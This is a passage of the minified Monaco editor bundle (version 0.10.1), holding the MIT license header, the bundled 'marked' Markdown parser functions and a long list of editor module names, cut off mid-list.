    "content": "/*!-----------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * Version: 0.10.1(ebbf400719be21761361804bf63fb3916e64a845)\n * Released under the MIT license\n * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt\n *-----------------------------------------------------------*/\n(function(){function e(e){this.tokens=[],this.tokens.links={},this.options=e||l.defaults,this.rules=g.normal,this.options.gfm&&(this.options.tables?this.rules=g.tables:this.rules=g.gfm)}function t(e,t){if(this.options=t||l.defaults,this.links=e,this.rules=m.normal,this.renderer=this.options.renderer||new n,this.renderer.options=this.options,!this.links)throw new Error(\"Tokens array requires a `links` property.\");this.options.gfm?this.options.breaks?this.rules=m.breaks:this.rules=m.gfm:this.options.pedantic&&(this.rules=m.pedantic)}function n(e){this.options=e||{}}function i(e){this.tokens=[],this.token=null,this.options=e||l.defaults,this.options.renderer=this.options.renderer||new n,this.renderer=this.options.renderer,this.renderer.options=this.options}function o(e,t){return e.replace(t?/&/g:/&(?!#?\\w+;)/g,\"&amp;\").replace(/</g,\"&lt;\").replace(/>/g,\"&gt;\").replace(/\"/g,\"&quot;\").replace(/'/g,\"&#39;\")}function r(e){return e.replace(/&(#(?:\\d+)|(?:#x[0-9A-Fa-f]+)|(?:\\w+));?/g,function(e,t){return\"colon\"===(t=t.toLowerCase())?\":\":\"#\"===t.charAt(0)?\"x\"===t.charAt(1)?String.fromCharCode(parseInt(t.substring(2),16)):String.fromCharCode(+t.substring(1)):\"\"})}function s(e,t){return e=e.source,t=t||\"\",function n(i,o){return i?(o=o.source||o,o=o.replace(/(^|[^\\[])\\^/g,\"$1\"),e=e.replace(i,o),n):new RegExp(e,t)}}function a(){}function u(e){for(var t,n,i=1;i<arguments.length;i++){t=arguments[i];for(n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])}return e}function l(t,n,r){if(r||\"function\"==typeof n){r||(r=n,n=null);var s,a,c=(n=u({},l.defaults,n||{})).highlight,d=0;try{s=e.lex(t,n)}catch(e){return r(e)}a=s.length;var h=function(e){if(e)return n.highlight=c,r(e);var t;try{t=i.parse(s,n)}catch(t){e=t}return n.highlight=c,e?r(e):r(null,t)};if(!c||c.length<3)return h();if(delete n.highlight,!a)return h();for(;d<s.length;d++)!function(e){\"code\"!==e.type?--a||h():c(e.text,e.lang,function(t,n){return t?h(t):null==n||n===e.text?--a||h():(e.text=n,e.escaped=!0,void(--a||h()))})}(s[d])}else try{return n&&(n=u({},l.defaults,n)),i.parse(e.lex(t,n),n)}catch(e){if(e.message+=\"\\nPlease report this to https://github.com/chjj/marked.\",(n||l.defaults).silent)return\"<p>An error occurred:</p><pre>\"+o(e.message+\"\",!0)+\"</pre>\";throw e}}var c,d=[\"exports\",\"require\",\"vs/editor/common/core/range\",\"vs/base/common/lifecycle\",\"vs/base/browser/dom\",\"vs/css!vs/editor/editor.main\",\"vs/nls\",\"vs/base/common/winjs.base\",\"vs/nls!vs/editor/editor.main\",\"vs/base/common/strings\",\"vs/base/common/errors\",\"vs/base/common/event\",\"vs/editor/common/core/position\",\"vs/editor/common/editorCommonExtensions\",\"vs/platform/theme/common/themeService\",\"vs/base/common/platform\",\"vs/platform/instantiation/common/instantiation\",\"vs/editor/common/modes\",\"vs/base/common/async\",\"vs/platform/contextkey/common/contextkey\",\"vs/editor/common/editorCommon\",\"vs/editor/common/editorContextKeys\",\"vs/editor/common/core/selection\",\"vs/platform/theme/common/colorRegistry\",\"vs/base/common/uri\",\"vs/editor/browser/editorBrowser\",\"vs/base/common/objects\",\"vs/base/browser/fastDomNode\",\"vs/base/browser/browser\",\"vs/base/common/types\",\"vs/editor/browser/editorBrowserExtensions\",\"vs/platform/commands/common/commands\",\"vs/base/common/color\",\"vs/base/common/arrays\",\"vs/editor/common/model/textModelWithDecorations\",\"vs/editor/browser/view/viewPart\",\"vs/base/common/severity\",\"vs/editor/common/view/editorColorRegistry\",\"vs/base/common/eventEmitter\",\"vs/editor/common/controller/cursorCommon\",\"vs/base/common/keyCodes\",\"vs/base/browser/ui/widget\",\"vs/editor/common/services/codeEditorService\",\"vs/editor/common/modes/languageConfigurationRegistry\",\"vs/platform/registry/common/platform\",\"vs/base/common/paths\",\"vs/platform/keybinding/common/keybinding\",\"vs/base/browser/mouseEvent\",\"vs/base/common/scrollable\",\"vs/editor/common/config/editorOptions\",\"vs/platform/message/common/message\",\"vs/base/browser/ui/aria/aria\",\"vs/base/browser/builder\",\"vs/base/common/actions\",\"vs/editor/common/controller/cursorEvents\",\"vs/editor/common/model/textModelEvents\",\"vs/editor/common/services/modelService\",\"vs/editor/common/view/viewEvents\",\"vs/platform/telemetry/common/telemetry\",\"vs/editor/common/core/editOperation\",\"vs/editor/common/modes/languageConfiguration\",\"vs/editor/common/services/editorWorkerService\",\"vs/platform/configuration/common/configuration\",\"vs/base/browser/ui/scrollbar/scrollableElement\",\"vs/platform/editor/common/editor\",\"vs/base/browser/keyboardEvent\",\"vs/editor/browser/config/configuration\",\"vs/editor/browser/view/dynamicViewOverlay\",\"vs/editor/common/modes/nullMode\",\"vs/platform/contextview/browser/contextView\",\"vs/base/common/network\",\"vs/platform/opener/common/opener\",\"vs/base/common/assert\",\"vs/editor/common/commands/replaceCommand\",\"vs/base/browser/touch\",\"vs/base/browser/ui/actionbar/actionbar\",\"vs/platform/storage/common/storage\",\"vs/editor/standalone/common/standaloneThemeService\",\"vs/editor/common/view/renderingContext\",\"vs/base/common/events\",\"vs/base/common/map\",\"vs/base/common/filters\",\"vs/editor/common/viewModel/viewEventHandler\",\"vs/base/browser/globalMouseMoveMonitor\",\"vs/platform/instantiation/common/serviceCollection\",\"vs/platform/actions/common/actions\",\"vs/editor/common/viewModel/viewModel\",\"vs/editor/common/services/resolverService\",\"vs/editor/common/services/modeService\",\"vs/editor/common/core/characterClassifier\",\"vs/editor/common/core/viewLineToken\",\"vs/editor/common/modes/supports\",\"vs/editor/contrib/zoneWidget/browser/peekViewWidget\",\"vs/editor/common/model/textModel\",\"vs/editor/common/controller/wordCharacterClassifier\",\"vs/editor/common/model/wordHelper\",\"vs/editor/common/core/uint\",\"vs/editor/common/core/token\",\"vs/editor/common/modes/supports/richEditBrackets\",\"vs/base/browser/ui/sash/sash\",\"vs/base/parts/quickopen/common/quickOpen\",\"vs/editor/common/model/textSource\",\"vs/base/browser/htmlContentRenderer\",\"vs/platform/markers/common/markers\",\"vs/editor/common/viewModel/prefixSumComputer\",\"vs/platform/keybinding/common/keybindingsRegistry\",\"vs/editor/common/viewLayout/viewLineRenderer\",\"vs/base/common/iterator\",\"vs/base/common/idGenerator\",\"vs/editor/contrib/suggest/browser/suggest\",\"vs/base/browser/ui/highlightedlabel/highlightedLabel\",\"vs/editor/common/view/minimapCharRenderer\",\"vs/editor/browser/view/viewLayer\",\"vs/editor/browser/viewParts/glyphMargin/glyphMargin\",\"vs/editor/browser/editorDom\",\"vs/base/browser/ui/inputbox/inputBox\",\"vs/editor/common/model/tokensBinaryEncoding\",\"vs/base/browser/ui/scrollbar/scrollbarArrow\",\"vs/editor/common/model/modelLine\",\"vs/editor/common/controller/cursorTypeOperations\",\"vs/base/parts/quickopen/browser/quickOpenModel\",\"vs/editor/contrib/find/common/findModel\",\"vs/editor/common/modes/textToHtmlTokenizer\",\"vs/base/common/cancellation\",\"vs/base/browser/event\",\"vs/editor/contrib/referenceSearch/browser/referencesModel\",\"vs/editor/common/modes/modesRegistry\",\"vs/platform/configuration/common/configurationRegistry\",\"vs/base/parts/tree/browser/treeDefaults\",\"vs/editor/standalone/browser/simpleServices\",\"vs/editor/common/core/lineTokens\",\"vs/editor/common/core/editorState\",\"vs/editor/common/config/fontInfo\",\"vs/base/common/htmlContent\",\"vs/editor/common/controller/coreCommands\",\"vs/editor/common/config/editorZoom\",\"vs/base/common/functional\",\"vs/platform/theme/common/styler\",\"vs/editor/common/viewLayout/lineDecorations\",\"vs/base/common/diff/diff\",\"vs/editor/common/view/overviewZoneManager\",\"vs/editor/browser/codeEditor\",\"vs/editor/contrib/snippet/browser/snippetParser\",\"vs/editor/standalone/browser/quickOpen/editorQuickOpen\",\"vs/platform/workspace/common/workspace\",\"vs/editor/standalone/common/monarch/monarchCommon\",\"vs/editor/common/services/resourceConfiguration\",\"vs/editor/common/services/editorWorkerServiceImpl\",\"vs/base/browser/iframe\",\"vs/editor/common/editorAction\",\"vs/base/browser/ui/scrollbar/scrollbarState\",\"vs/editor/browser/controller/textAreaState\",\"vs/editor/common/standalone/standaloneBase\",\"vs/base/browser/ui/findinput/findInputCheckboxes\",\"vs/editor/browser/controller/textAreaInput\",\"vs/base/common/keybindingLabels\",\"vs/platform/environment/common/environment\",\"vs/base/common/collections\",\"vs/editor/common/model/textModelSearch\",\"vs/platform/keybinding/common/keybindingResolver\",\"vs/base/browser/ui/contextview/contextview\",\"vs/base/parts/tree/browser/treeImpl\",\"vs/base/browser/ui/iconLabel/iconLabel\",\"vs/platform/progress/common/progress\",\"vs/editor/browser/widget/diffNavigator\",\"vs/base/common/glob\",\"vs/base/common/mime\",\"vs/editor/common/commands/shiftCommand\",\"vs/editor/common/config/commonEditorConfig\",\"vs/editor/common/controller/cursorMoveOperations\",\"vs/editor/common/controller/cursorDeleteOperations\",\"vs/css!vs/editor/contrib/goToDeclaration/browser/goToDeclarationMouse\",\"vs/editor/common/controller/cursorWordOperations\",\"vs/editor/common/controller/cursorMoveCommands\",\"vs/base/common/labels\",\"vs/editor/common/model/model\",\"vs/editor/contrib/find/common/findController\",\"vs/editor/contrib/goToDeclaration/browser/goToDeclaration\",\"vs/editor/contrib/parameterHints/common/parameterHints\",\"vs/editor/common/viewModel/splitLinesCollection\",\"vs/editor/contrib/snippet/browser/snippetController2\",\"vs/editor/contrib/toggleTabFocusMode/common/toggleTabFocusMode\",\"vs/editor/browser/viewParts/margin/margin\",\"vs/editor/contrib/zoneWidget/browser/zoneWidget\",\"vs/base/browser/ui/scrollbar/abstractScrollbar\",\"vs/editor/browser/viewParts/lines/viewLine\",\"vs/editor/browser/controller/mouseTarget\",\"vs/platform/instantiation/common/descriptors\",\"vs/editor/browser/viewParts/lineNumbers/lineNumbers\",\"vs/editor/contrib/comment/common/blockCommentCommand\",\"vs/editor/browser/viewParts/overviewRuler/overviewRulerImpl\",\"vs/editor/browser/widget/codeEditorWidget\",\"vs/editor/contrib/goToDeclaration/browser/clickLinkGesture\",\"vs/editor/browser/widget/diffEditorWidget\",\"vs/editor/browser/widget/embeddedCodeEditorWidget\",\"vs/editor/contrib/hover/browser/hoverOperation\",\"vs/editor/contrib/hover/browser/hoverWidgets\",\"vs/base/common/worker/simpleWorker\",\"vs/editor/contrib/referenceSearch/browser/referencesController\",\"vs/editor/contrib/goToDeclaration/browser/goToDeclarationCommands\",\"vs/editor/standalone/browser/standaloneServices\",\"vs/css!vs/base/browser/ui/countBadge/countBadge\",\"vs/editor/common/modes/supports/tokenization\",\"vs/editor/common/modes/tokenizationRegistry\",\"vs/base/browser/ui/countBadge/countBadge\",\"vs/css!vs/base/browser/ui/findinput/findInput\",\"vs/css!vs/base/browser/ui/findinput/findInputCheckboxes\",\"vs/editor/common/modes/supports/electricCharacter\",\"vs/css!vs/base/browser/ui/iconLabel/iconlabel\",\"vs/base/common/marked/marked\",\"vs/editor/common/services/abstractCodeEditorService\",\"vs/css!vs/base/browser/ui/inputbox/inputBox\",\"vs/css!vs/base/browser/ui/keybindingLabel/keybindingLabel\",\"vs/css!vs/base/browser/ui/list/list\",\"vs/editor/browser/viewParts/lines/rangeUtil\",\"vs/editor/common/view/runtimeMinimapCharRenderer\",\"vs/editor/common/view/viewContext\",\"vs/editor/common/view/viewEventDispatcher\",\"vs/css!vs/base/browser/ui/menu/menu\",\"vs/css!vs/base/browser/ui/progressbar/progressbar\",\"vs/base/browser/ui/progressbar/progressbar\",\"vs/editor/common/viewLayout/viewLinesViewportData\",\"vs/editor/common/viewLayout/whitespaceComputer\",\"vs/editor/common/viewLayout/linesLayout\",\"vs/css!vs/base/browser/ui/sash/sash\",\"vs/editor/common/model/mirrorModel\",\"vs/editor/common/services/editorSimpleWorker\",\"vs/editor/standalone/browser/standaloneLanguages\",\"vs/css!vs/base/browser/ui/scrollbar/media/scrollbars\",\"vs/base/common/comparers\",\"vs/editor/browser/viewParts/contentWidgets/contentWidgets\",\"vs/editor/browser/viewParts/decorations/decorations\",\"vs/base/browser/ui/list/listView\",\"vs/editor/browser/viewParts/linesDecorations/linesDecorations\",\"vs/base/browser/ui/list/listWidget\",\"vs/editor/browser/viewParts/marginDecorations/marginDecorations\",\"vs/editor/browser/viewParts/overlayWidgets/overlayWidgets\",\"vs/editor/browser/viewParts/viewZones/viewZones\",\"vs/base/parts/tree/browser/treeView\",\"vs/editor/common/viewLayout/viewLayout\",\"vs/editor/common/viewModel/viewModelDecorations\",\"vs/editor/contrib/caretOperations/common/moveCaretCommand\",\"vs/editor/contrib/colorPicker/browser/colorPickerModel\",\"vs/editor/contrib/colorPicker/browser/elements/colorPickerBody\",\"vs/editor/contrib/colorPicker/browser/elements/colorPickerHeader\",\"vs/editor/contrib/colorPicker/browser/colorPickerWidget\",\"vs/editor/contrib/colorPicker/common/color\",\"vs/editor/contrib/colorPicker/common/colorFormatter\",\"vs/editor/contrib/colorPicker/common/colorPicker\",\"vs/css!vs/base/browser/ui/selectBox/selectBox\",\"vs/editor/contrib/comment/common/lineCommentCommand\",\"vs/editor/contrib/dnd/common/dragAndDropCommand\",\"vs/editor/contrib/find/common/find\",\"vs/editor/contrib/find/common/findState\",\"vs/editor/contrib/find/common/replaceAllCommand\",\"vs/editor/contrib/find/common/replacePattern\",\"vs/editor/contrib/folding/common/folding\",\"vs/editor/contrib/folding/common/indentFoldStrategy\",\"vs/editor/contrib/format/common/formatCommand\",\"vs/base/browser/ui/selectBox/selectBox\",\"vs/css!vs/base/parts/quickopen/browser/quickopen\",\"vs/css!vs/base/parts/tree/browser/tree\",\"vs/editor/contrib/inPlaceReplace/common/inPlaceReplaceCommand\",\"vs/editor/contrib/indentation/common/indentUtils\",\"vs/editor/contrib/linesOperations/common/copyLinesCommand\",\"vs/editor/contrib/linesOperations/common/deleteLinesCommand\",\"vs/editor/contrib/linesOperations/common/sortLinesCommand\",\"vs/editor/contrib/quickFix/browser/lightBulbWidget\",\"vs/editor/contrib/quickFix/browser/quickFixWidget\",\"vs/editor/contrib/smartSelect/common/tokenTree\",\"vs/css!vs/editor/browser/controller/textAreaHandler\",\"vs/editor/contrib/snippet/browser/snippetVariables\",\"vs/editor/contrib/suggest/browser/completionModel\",\"vs/editor/standalone/browser/colorizer\",\"vs/css!vs/editor/browser/viewParts/currentLineHighlight/currentLineHighlight\",\"vs/editor/standalone/common/monarch/monarchCompile\",\"vs/editor/standalone/common/monarch/monarchLexer\",\"vs/css!vs/editor/browser/viewParts/currentLineMarginHighlight/currentLineMarginHighlight\",\"vs/css!vs/editor/browser/viewParts/decorations/decorations\",\"vs/css!vs/editor/browser/viewParts/glyphMargin/glyphMargin\",\"vs/css!vs/editor/browser/viewParts/indentGuides/indentGuides\",\"vs/base/browser/ui/menu/menu\",\"vs/nls!vs/base/browser/ui/aria/aria\",\"vs/css!vs/editor/browser/viewParts/lineNumbers/lineNumbers\",\"vs/nls!vs/base/browser/ui/findinput/findInput\",\"vs/nls!vs/base/browser/ui/findinput/findInputCheckboxes\",\"vs/css!vs/editor/browser/viewParts/lines/viewLines\",\"vs/nls!vs/base/browser/ui/inputbox/inputBox\",\"vs/css!vs/editor/browser/viewParts/linesDecorations/linesDecorations\",\"vs/base/browser/ui/findinput/findInput\",\"vs/nls!vs/base/common/keybindingLabels\",\"vs/css!vs/editor/browser/viewParts/marginDecorations/marginDecorations\",\"vs/base/browser/ui/keybindingLabel/keybindingLabel\",\"vs/nls!vs/base/common/severity\",\"vs/css!vs/editor/browser/viewParts/minimap/minimap\",\"vs/nls!vs/base/parts/quickopen/browser/quickOpenModel\",\"vs/css!vs/editor/browser/viewParts/overlayWidgets/overlayWidgets\",\"vs/nls!vs/base/parts/quickopen/browser/quickOpenWidget\",\"vs/nls!vs/base/parts/tree/browser/treeDefaults\",\"vs/css!vs/editor/browser/viewParts/rulers/rulers\",\"vs/css!vs/editor/browser/viewParts/scrollDecoration/scrollDecoration\",\"vs/base/parts/quickopen/browser/quickOpenWidget\",\"vs/nls!vs/editor/browser/widget/diffEditorWidget\",\"vs/nls!vs/editor/browser/widget/diffReview\",\"vs/nls!vs/editor/common/config/commonEditorConfig\",\"vs/nls!vs/editor/common/config/editorOptions\",\"vs/css!vs/editor/browser/viewParts/selections/selections\",\"vs/css!vs/editor/browser/viewParts/viewCursors/viewCursors\",\"vs/css!vs/editor/browser/widget/media/diffEditor\",\"vs/css!vs/editor/browser/widget/media/diffReview\",\"vs/css!vs/editor/browser/widget/media/editor\",\"vs/editor/common/controller/cursorColumnSelection\",\"vs/css!vs/editor/browser/widget/media/tokens\",\"vs/css!vs/editor/contrib/bracketMatching/browser/bracketMatching\",\"vs/css!vs/editor/contrib/clipboard/browser/clipboard\",\"vs/css!vs/editor/contrib/codelens/browser/codelensWidget\",\"vs/css!vs/editor/contrib/colorPicker/browser/colorPicker\",\"vs/editor/common/controller/oneCursor\",\"vs/editor/common/controller/cursorCollection\",\"vs/editor/contrib/linesOperations/common/moveLinesCommand\",\"vs/nls!vs/editor/common/controller/cursor\",\"vs/editor/common/controller/cursor\",\"vs/nls!vs/editor/common/model/textModelWithTokens\",\"vs/editor/common/model/textModelWithTokens\",\"vs/editor/common/model/textModelWithMarkers\",\"vs/css!vs/editor/contrib/dnd/browser/dnd\",\"vs/editor/common/model/editableTextModel\",\"vs/css!vs/editor/contrib/find/browser/findWidget\",\"vs/css!vs/editor/contrib/folding/browser/folding\",\"vs/editor/common/viewModel/characterHardWrappingLineMapper\",\"vs/editor/common/viewModel/viewModelImpl\",\"vs/editor/contrib/find/common/findDecorations\",\"vs/base/common/diff/diffChange\",\"vs/editor/contrib/folding/common/foldingModel\",\"vs/editor/contrib/snippet/browser/snippetSession\",\"vs/css!vs/editor/contrib/goToDeclaration/browser/messageController\",\"vs/nls!vs/editor/common/modes/modesRegistry\",\"vs/nls!vs/editor/common/services/bulkEdit\",\"vs/editor/common/services/bulkEdit\",\"vs/nls!vs/editor/common/services/modelServiceImpl\",\"vs/nls!vs/editor/common/view/editorColorRegistry\",\"vs/nls!vs/editor/contrib/bracketMatching/common/bracketMatching\",\"vs/nls!vs/editor/contrib/caretOperations/common/caretOperations\",\"vs/nls!vs/editor/contrib/caretOperations/common/transpose\",\"vs/nls!vs/editor/contrib/clipboard/browser/clipboard\",\"vs/nls!vs/editor/contrib/comment/common/comment\",\"vs/nls!vs/editor/contrib/contextmenu/browser/contextmenu\",\"vs/nls!vs/editor/contrib/find/browser/findWidget\",\"vs/nls!vs/editor/contrib/find/common/findController\",\"vs/nls!vs/editor/contrib/folding/browser/folding\",\"vs/nls!vs/editor/contrib/format/browser/formatActions\",\"vs/nls!vs/editor/contrib/goToDeclaration/browser/goToDeclarationCommands\",\"vs/nls!vs/editor/contrib/goToDeclaration/browser/goToDeclarationMouse\",\"vs/nls!vs/editor/contrib/gotoError/browser/gotoError\",\"vs/nls!vs/editor/contrib/hover/browser/hover\",\"vs/nls!vs/editor/contrib/hover/browser/modesContentHover\",\"vs/nls!vs/editor/contrib/inPlaceReplace/common/inPlaceReplace\",\"vs/nls!vs/editor/contrib/linesOperations/common/linesOperations\",\"vs/nls!vs/editor/contrib/links/browser/links\",\"vs/nls!vs/editor/contrib/multicursor/common/multicursor\",\"vs/nls!vs/editor/contrib/parameterHints/browser/parameterHints\",\"vs/nls!vs/editor/contrib/parameterHints/browser/parameterHintsWidget\",\"vs/nls!vs/editor/contrib/quickFix/browser/quickFixCommands\",\"vs/nls!vs/editor/contrib/referenceSearch/browser/referenceSearch\",\"vs/nls!vs/editor/contrib/referenceSearch/browser/referencesController\",\"vs/nls!vs/editor/contrib/referenceSearch/browser/referencesModel\",\"vs/css!vs/editor/contrib/gotoError/browser/gotoError\",\"vs/nls!vs/editor/contrib/referenceSearch/browser/referencesWidget\",\"vs/nls!vs/editor/contrib/rename/browser/rename\",\"vs/nls!vs/editor/contrib/rename/browser/renameInputField\",\"vs/nls!vs/editor/contrib/smartSelect/common/smartSelect\",\"vs/nls!vs/editor/contrib/suggest/browser/suggestController\",\"vs/nls!vs/editor/contrib/suggest/browser/suggestWidget\",\"vs/nls!vs/editor/contrib/toggleTabFocusMode/common/toggleTabFocusMode\",\"vs/nls!vs/editor/contrib/wordHighlighter/common/wordHighlighter\",\"vs/nls!vs/editor/contrib/zoneWidget/browser/peekViewWidget\",\"vs/nls!vs/editor/standalone/browser/inspectTokens/inspectTokens\",\"vs/nls!vs/editor/standalone/browser/quickOpen/gotoLine\",\"vs/nls!vs/editor/standalone/browser/quickOpen/quickCommand\",\"vs/nls!vs/editor/standalone/browser/quickOpen/quickOutline\",\"vs/nls!vs/editor/standalone/browser/standaloneCodeEditor\",\"vs/nls!vs/editor/standalone/browser/toggleHighContrast/toggleHighContrast\",\"vs/nls!vs/platform/configuration/common/configurationRegistry\",\"vs/nls!vs/platform/keybinding/common/abstractKeybindingService\",\"vs/nls!vs/platform/message/common/message\",\"vs/nls!vs/platform/theme/common/colorRegistry\",\"vs/platform/contextview/browser/contextMenuHandler\",\"vs/platform/contextview/browser/contextMenuService\",\"vs/css!vs/editor/contrib/hover/browser/hover\",\"vs/css!vs/editor/contrib/links/browser/links\",\"vs/css!vs/editor/contrib/parameterHints/browser/parameterHints\",\"vs/css!vs/editor/contrib/quickFix/browser/lightBulbWidget\",\"vs/css!vs/editor/contrib/referenceSearch/browser/referencesWidget\",\"vs/css!vs/editor/contrib/rename/browser/renameInputField\",\"vs/css!vs/editor/contrib/snippet/browser/snippetSession\",\"vs/css!vs/editor/contrib/suggest/browser/media/suggest\",\"vs/css!vs/editor/contrib/zoneWidget/browser/peekViewWidget\",\"vs/editor/common/services/webWorker\",\"vs/editor/contrib/smartSelect/common/tokenSelectionSupport\",\"vs/css!vs/editor/contrib/zoneWidget/browser/zoneWidget\",\"vs/css!vs/editor/standalone/browser/accessibilityHelp/accessibilityHelp\",\"vs/editor/contrib/links/common/links\",\"vs/css!vs/editor/standalone/browser/iPadShowKeyboard/iPadShowKeyboard\",\"vs/css!vs/editor/standalone/browser/inspectTokens/inspectTokens\",\"vs/css!vs/editor/standalone/browser/quickOpen/gotoLine\",\"vs/css!vs/editor/standalone/browser/quickOpen/quickOutline\",\"vs/editor/common/modes/editorModeContext\",\"vs/platform/actions/common/menu\",\"vs/css!vs/editor/standalone/browser/standalone-tokens\",\"vs/css!vs/platform/contextview/browser/contextMenuHandler\",\"vs/editor/browser/config/charWidthReader\",\"vs/platform/files/common/files\",\"vs/editor/browser/config/elementSizeObserver\",\"vs/platform/instantiation/common/instantiationService\",\"vs/platform/keybinding/common/abstractKeybindingService\",\"vs/base/browser/ui/list/rangeMap\",\"vs/base/browser/ui/list/rowCache\",\"vs/platform/contextkey/browser/contextKeyService\",\"vs/platform/keybinding/common/resolvedKeybindingItem\",\"vs/platform/keybinding/common/usLayoutResolvedKeybinding\",\"vs/platform/lifecycle/common/lifecycle\",\"vs/platform/markers/common/markerService\",\"vs/editor/standalone/browser/standaloneEditor\",\"vs/base/common/scorer\",\"vs/base/common/callbackList\",\"vs/editor/contrib/hover/browser/modesGlyphHover\",\"vs/base/common/stopwatch\",\"vs/nls!vs/base/browser/ui/actionbar/actionbar\",\"vs/base/common/graph\",\"vs/base/browser/ui/scrollbar/scrollbarVisibilityController\",\"vs/editor/common/services/modelServiceImpl\",\"vs/editor/contrib/dnd/browser/dnd\",\"vs/editor/standalone/browser/iPadShowKeyboard/iPadShowKeyboard\",\"vs/platform/jsonschemas/common/jsonContributionRegistry\",\"vs/base/common/history\",\"vs/editor/common/commands/trimTrailingWhitespaceCommand\",\"vs/editor/common/services/languagesRegistry\",\"vs/editor/common/services/modeServiceImpl\",\"vs/platform/configuration/common/model\",\"vs/base/browser/ui/scrollbar/horizontalScrollbar\",\"vs/base/browser/ui/scrollbar/verticalScrollbar\",\"vs/editor/common/commands/surroundSelectionCommand\",\"vs/base/common/json\",\"vs/editor/browser/view/viewOverlays\",\"vs/editor/browser/viewParts/viewCursors/viewCursor\",\"vs/base/parts/quickopen/browser/quickOpenViewer\",\"vs/base/common/decorators\",\"vs/editor/common/commonCodeEditor\",\"vs/base/parts/tree/browser/tree\",\"vs/editor/browser/view/viewController\",\"vs/editor/contrib/caretOperations/common/caretOperations\",\"vs/editor/contrib/caretOperations/common/transpose\",\"vs/editor/contrib/clipboard/browser/clipboard\",\"vs/editor/contrib/codelens/browser/codelens\",\"vs/editor/contrib/comment/common/comment\",\"vs/editor/contrib/contextmenu/browser/contextmenu\",\"vs/editor/contrib/cursorUndo/browser/cursorUndo\",\"vs/editor/common/diff/diffComputer\",\"vs/editor/contrib/folding/browser/folding\",\"vs/editor/contrib/format/common/format\",\"vs/editor/contrib/format/browser/formatActions\",\"vs/base/parts/tree/browser/treeDnd\",\"vs/editor/contrib/hover/common/hover\",\"vs/editor/contrib/hover/browser/modesContentHover\",\"vs/editor/contrib/linesOperations/common/linesOperations\",\"vs/editor/contrib/multicursor/common/multicursor\",\"vs/base/parts/tree/browser/treeModel\",\"vs/editor/contrib/quickFix/browser/quickFix\",\"vs/editor/contrib/quickFix/browser/quickFixModel\",\"vs/editor/contrib/quickFix/browser/quickFixCommands\",\"vs/editor/contrib/quickOpen/common/quickOpen\",\"vs/editor/contrib/smartSelect/common/smartSelect\",\"vs/base/parts/tree/browser/treeViewModel\",\"vs/base/worker/defaultWorkerFactory\",\"vs/editor/contrib/suggest/browser/suggestModel\",\"vs/editor/common/model/editStack\",\"vs/editor/contrib/wordOperations/common/wordOperations\",\"vs/editor/standalone/browser/toggleHighContrast/toggleHighContrast\",\"vs/platform/contextview/browser/contextViewService\",\"vs/platform/telemetry/common/telemetryUtils\",\"vs/platform/opener/browser/openerService\",\"vs/editor/common/model/indentRanges\",\"vs/editor/common/model/indentationGuesser\",\"vs/editor/standalone/browser/quickOpen/quickOpenEditorWidget\",\"vs/css!vs/base/browser/builder\",\"vs/editor/browser/services/codeEditorServiceImpl\",\"vs/editor/browser/viewParts/editorScrollbar/editorScrollbar\",\"vs/base/common/marshalling\",\"vs/base/common/hash\",\"vs/editor/browser/controller/mouseHandler\",\"vs/editor/browser/controller/pointerHandler\",\"vs/editor/browser/view/viewOutgoingEvents\",\"vs/editor/browser/viewParts/lines/viewLines\",\"vs/editor/browser/viewParts/minimap/minimap\",\"vs/editor/browser/viewParts/scrollDecoration/scrollDecoration\",\"vs/editor/browser/viewParts/selections/selections\",\"vs/css!vs/base/browser/ui/actionbar/actionbar\",\"vs/editor/browser/viewParts/currentLineHighlight/currentLineHighlight\",\"vs/editor/browser/viewParts/currentLineMarginHighlight/currentLineMarginHighlight\",\"vs/editor/browser/viewParts/indentGuides/indentGuides\",\"vs/css!vs/base/browser/ui/aria/aria\",\"vs/editor/browser/controller/textAreaHandler\",\"vs/editor/browser/viewParts/rulers/rulers\",\"vs/editor/browser/viewParts/viewCursors/viewCursors\",\"vs/editor/browser/widget/diffReview\",\"vs/css!vs/base/browser/ui/checkbox/checkbox\",\"vs/base/browser/ui/checkbox/checkbox\",\"vs/editor/browser/viewParts/overviewRuler/decorationsOverviewRuler\",\"vs/editor/browser/viewParts/overviewRuler/overviewRuler\",\"vs/editor/browser/view/viewImpl\",\"vs/css!vs/base/browser/ui/contextview/contextview\",\"vs/editor/common/modes/abstractMode\",\"vs/base/browser/ui/octiconLabel/octiconLabel\",\"vs/editor/common/modes/languageSelector\",\"vs/editor/contrib/bracketMatching/common/bracketMatching\",\"vs/editor/contrib/codelens/browser/codelensWidget\",\"vs/editor/contrib/codelens/browser/codelensController\",\"vs/editor/contrib/colorPicker/browser/colorPicker\",\"vs/editor/contrib/find/browser/findOptionsWidget\",\"vs/editor/contrib/find/browser/findWidget\",\"vs/editor/contrib/find/browser/find\",\"vs/editor/contrib/goToDeclaration/browser/messageController\",\"vs/editor/contrib/gotoError/browser/gotoError\",\"vs/editor/contrib/hover/browser/hover\",\"vs/editor/contrib/inPlaceReplace/common/inPlaceReplace\",\"vs/editor/contrib/links/browser/links\",\"vs/editor/contrib/parameterHints/browser/parameterHintsWidget\",\"vs/editor/contrib/parameterHints/browser/parameterHints\",\"vs/editor/contrib/rename/browser/renameInputField\",\"vs/editor/contrib/rename/browser/rename\",\"vs/editor/contrib/suggest/browser/suggestWidget\",\"vs/editor/contrib/suggest/browser/suggestController\",\"vs/editor/contrib/wordHighlighter/common/wordHighlighter\",\"vs/editor/common/modes/languageFeatureRegistry\",\"vs/editor/standalone/browser/accessibilityHelp/accessibilityHelp\",\"vs/editor/standalone/browser/inspectTokens/inspectTokens\",\"vs/editor/common/modes/linkComputer\",\"vs/editor/standalone/browser/quickOpen/gotoLine\",\"vs/editor/standalone/browser/quickOpen/quickCommand\",\"vs/editor/standalone/browser/quickOpen/quickOutline\",\"vs/editor/standalone/browser/standaloneCodeEditor\",\"vs/editor/standalone/common/themes\",\"vs/editor/standalone/browser/standaloneThemeServiceImpl\",\"vs/editor/common/modes/supports/characterPair\",\"vs/editor/contrib/referenceSearch/browser/referencesWidget\",\"vs/editor/common/modes/supports/indentRules\",\"vs/editor/common/modes/supports/inplaceReplaceSupport\",\"vs/editor/contrib/goToDeclaration/browser/goToDeclarationMouse\",\"vs/editor/contrib/referenceSearch/browser/referenceSearch\",\"vs/editor/editor.all\",\"vs/editor/common/modes/supports/onEnter\",\"vs/base/common/winjs.base.raw\",\"vs/base/common/marked/raw.marked\",\"vs/editor/edcore.main\"